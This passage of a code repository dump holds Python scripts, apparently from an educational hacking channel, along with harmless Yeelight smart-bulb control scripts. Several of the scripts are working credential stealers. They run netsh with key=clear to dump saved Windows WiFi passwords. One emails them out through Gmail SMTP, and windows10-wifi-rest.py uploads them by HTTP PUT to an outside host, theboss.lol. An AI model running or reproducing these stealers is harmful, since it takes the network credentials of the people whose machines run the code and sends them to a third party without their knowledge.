message for the email 51 | email_message = "" 52 | for item in wifi_list: 53 | email_message += f"SSID: {item['ssid']}, Password: {item['password']}\n" 54 | 55 | # Create EmailMessage Object 56 | email = EmailMessage() 57 | # Who is the email from 58 | email["from"] = "name_of_sender" 59 | # To which email you want to send the email 60 | email["to"] = "email_address" 61 | # Subject of the email 62 | email["subject"] = "WiFi SSIDs and Passwords" 63 | email.set_content(email_message) 64 | 65 | # Create smtp server 66 | with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp: 67 | smtp.ehlo() 68 | # Connect securely to server 69 | smtp.starttls() 70 | # Login using username and password to dummy email. Remember to set email to allow less secure apps if using Gmail 71 | smtp.login("login_name", "password") 72 | # Send email. 73 | smtp.send_message(email) 74 | -------------------------------------------------------------------------------- /windows10-wifi-rest.py: -------------------------------------------------------------------------------- 1 | #! py 2 | ###################################### 3 | #Copyright of David Bombal, 2021 # 4 | #https://www.davidbombal.com # 5 | #https://www.youtube.com/davidbombal # 6 | ###################################### 7 | import subprocess 8 | import re 9 | import requests 10 | 11 | # Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(, )) 12 | # The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed. 13 | # To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python. 14 | command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() 15 | 16 | # We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears. 17 | profile_names = (re.findall("All User Profile : (.*)\r", command_output)) 18 | 19 | # We create an empty list outside of the loop where dictionaries with all the wifi ssid and passwords will be saved. 20 | wifi_list = list() 21 | 22 | 23 | # If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. 24 | if len(profile_names) != 0: 25 | for name in profile_names: 26 | # Every wifi connection will need its own dictionary which will be appended to the wifi_list 27 | wifi_profile = dict() 28 | # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. 29 | profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() 30 | # We use a regular expression to only look for the absent cases so we can ignore them. 31 | if re.search("Security key : Absent", profile_info): 32 | continue 33 | else: 34 | # Assign the SSID of the wifi profile to the dictionary 35 | wifi_profile["ssid"] = name 36 | # These cases aren't absent and we should run them "key=clear" command part to get the password 37 | profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() 38 | # Again run the regular expressions to capture the group after the : which is the password 39 | password = re.search("Key Content : (.*)\r", profile_info_pass) 40 | # Check if we found a password in the regular expression. All wifi connections will not have passwords. 41 | if password == None: 42 | wifi_profile["password"] = None 43 | else: 44 | # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. 45 | wifi_profile["password"] = password[1] 46 | # We append the wifi information to the wifi_list 47 | wifi_list.append(wifi_profile) 48 | 49 | 50 | # Write the contents of the wifi ssids and passwords to file 51 | with open('wifi.txt', 'w+') as fh: 52 | for x in wifi_list: 53 | fh.write(f"SSID: {x['ssid']}\nPassword: {x['password']}\n") 54 | 55 | # Open file with read-only in binary so you can send via API 56 | with open('wifi.txt', 'rb') as fh: 57 | # Do put request with the data as the file 58 | r = requests.put("http://theboss.lol/", data=fh) 59 | # status code should be 200 if successful 60 | if r.status_code == 200: 61 | print('Success') 62 | -------------------------------------------------------------------------------- /windows10-wifi.py: -------------------------------------------------------------------------------- 1 | #! py 2 | ###################################### 3 | #Copyright of David Bombal, 2021 # 4 | #https://www.davidbombal.com # 5 | #https://www.youtube.com/davidbombal # 6 | ###################################### 7 | 8 | # Import subprocess so we can use system commands. 9 | import subprocess 10 | 11 | # Import the re module so we can make use of regular expressions. 12 | import re 13 | 14 | # Python allows us to run system commands using the function 15 | # provided by the subprocess module; 16 | # (subprocess.run(, )). 17 | # 18 | # This script is a parent process that creates a child process which 19 | # runs a system command and will only continue once the child process 20 | # is completed. 21 | # 22 | # To save the contents that get sent to the standard output stream 23 | # (the terminal), we must first specify that we want to capture the output. 24 | # To do this we specify the second argument as capture_output = True. 25 | # This information gets stored in the stdout attribute as bytes and 26 | # needs to be decoded before being used as a String in Python. 27 | command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() 28 | 29 | # We imported the re module to make use of regular expressions. 30 | # We want to find all the wifi names which are listed after 31 | # "ALL User Profile :". Using regular expressions we can create 32 | # a group of all characters until the return escape sequence (\r) appears. 33 | profile_names = (re.findall("All User Profile : (.*)\r", command_output)) 34 | 35 | # We create an empty list outside of the loop where dictionaries 36 | # containing all the wifi usernames and passwords will be saved. 37 | wifi_list = [] 38 | 39 | # If any profile names are not found this means that wifi connections 40 | # have also not been found. So we run this part to check the 41 | # details of the wifi and see whether we can get their passwords. 42 | if len(profile_names) != 0: 43 | for name in profile_names: 44 | # Every wifi connection will need its own dictionary which 45 | # will be appended to the variable wifi_list. 46 | wifi_profile = {} 47 | # We can now run a more specific command to see the information 48 | # about the wifi connection and if the Security key 49 | # is not absent it may be possible to get the password. 50 | profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() 51 | # We use the regular expression to only look for the absent cases so we can ignore them. 52 | if re.search("Security key : Absent", profile_info): 53 | continue 54 | else: 55 | # Assign the ssid of the wifi profile to the dictionary. 56 | wifi_profile["ssid"] = name 57 | # These cases aren't absent and we should run the 58 | # "key=clear" command part to get the password. 59 | profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() 60 | # Again run the regular expression to capture the 61 | # group after the : (which is the password). 62 | password = re.search("Key Content : (.*)\r", profile_info_pass) 63 | # Check if we found a password using the regular expression. 64 | # Some wifi connections may not have passwords. 65 | if password == None: 66 | wifi_profile["password"] = None 67 | else: 68 | # We assign the grouping (where the password is contained) that 69 | # we are interested in to the password key in the dictionary. 70 | wifi_profile["password"] = password[1] 71 | # We append the wifi information to the variable wifi_list. 72 | wifi_list.append(wifi_profile) 73 | 74 | for x in range(len(wifi_list)): 75 | print(wifi_list[x]) 76 | 77 | -------------------------------------------------------------------------------- /yeelight1.py: -------------------------------------------------------------------------------- 1 | # Make sure you install yeelight 2 | # pip3 install yeelight 3 | 4 | # Documentation here: https://yeelight.readthedocs.io/en/latest/ 5 | 6 | import time 7 | from yeelight import Bulb 8 | bulb = Bulb("192.168.0.105") 9 | 10 | bulb.turn_on() 11 | time.sleep(1) 12 | bulb.set_rgb(255,0,0) 13 | time.sleep(1) 14 | bulb.set_rgb(164,168,50) 15 | time.sleep(1) 16 | bulb.set_rgb(50,90,168) 17 | time.sleep(1) 18 | bulb.set_rgb(168,50,50) 19 | time.sleep(1) 20 | bulb.set_rgb(50,168,54) 21 | time.sleep(1) 22 | bulb.set_rgb(255,0,0) 23 | time.sleep(1) 24 | 25 | rgb1 = 50 26 | rgb2 = 10 27 | rgb3 = 50 28 | for i in range(10): 29 | bulb.set_rgb(rgb1,rgb2,rgb3) 30 | time.sleep(1) 31 | i = i + 1 32 | rgb1 = (i*10.5) 33 | rgb2 = (i*5.5) 34 | rgb3 = (i*9.5) 35 | print(rgb1, rgb2, rgb3) 36 | bulb.set_rgb(rgb1,rgb2,rgb3) 37 | 38 | bulb.set_rgb(255,0,0) 39 | -------------------------------------------------------------------------------- /yeelight2.py: -------------------------------------------------------------------------------- 1 | # Make sure you install yeelight 2 | # pip3 install yeelight 3 | 4 | # Documentation here: https://yeelight.readthedocs.io/en/latest/ 5 | 6 | import time 7 | from yeelight import Bulb 8 | bulb1 = Bulb("192.168.0.105") 9 | bulb2 = Bulb("192.168.0.117") 10 | bulb1.turn_on() 11 | bulb2.turn_on() 12 | time.sleep(1) 13 | 14 | bulb1.set_rgb(255,0,0) 15 | bulb2.set_rgb(255,0,0) 16 | time.sleep(1) 17 | 18 | bulb1.set_rgb(164,168,50) 19 | time.sleep(1) 20 | 21 | bulb2.set_rgb(50,90,168) 22 | time.sleep(1) 23 | 24 | bulb1.set_rgb(168,50,50) 25 | time.sleep(1) 26 | 27 | bulb2.set_rgb(50,168,54) 28 | time.sleep(1) 29 | 30 | bulb1.set_rgb(255,0,0) 31 | time.sleep(1) 32 | 33 | rgb1 = 50 34 | rgb2 = 10 35 | rgb3 = 50 36 | for i in range(10): 37 | bulb1.set_rgb(rgb1,rgb2,rgb3) 38 | bulb2.set_rgb(rgb1-10,rgb2-10,rgb3-10) 39 | time.sleep(1) 40 | i = i + 1 41 | rgb1 = (i*10.5) 42 | rgb2 = (i*5.5) 43 | rgb3 = (i*9.5) 44 | print(rgb1, rgb2, rgb3) 45 | bulb1.set_rgb(rgb1,rgb2,rgb3) 46 | 47 | bulb1.set_rgb(50,64,168) 48 | bulb2.set_rgb(50,64,168) 49 | -------------------------------------------------------------------------------- /yeelight_discover.py: -------------------------------------------------------------------------------- 1 | # Make sure you install yeelight 2 | # pip3 install yeelight 3 | 4 | # Documentation here: https://yeelight.readthedocs.io/en/latest/ 5 | 6 | from yeelight import discover_bulbs 7 | discover_bulbs() 8 | 9 | from yeelight import Bulb 10 | bulb = Bulb("192.168.0.105") 11 | 12 | bulb.turn_on() 13 | bulb.get_properties() 14 | bulb.set_brightness(50) 15 | bulb.set_rgb(255, 0, 0) 16 | bulb.set_rgb(1, 0, 0) 17 | 18 | bulb.set_color_temp(200) 19 | bulb.set_color_temp(4700) 20 | -------------------------------------------------------------------------------- /yeelight_telnet: -------------------------------------------------------------------------------- 1 | telnet 192.168.0.105:55443 2 | 3 | {"id":0,"method":"set_power","params":["on", "smooth", 200]} 4 | {"id":0,"method":"set_power","params":["off", "smooth", 200]} 5 | --------------------------------------------------------------------------------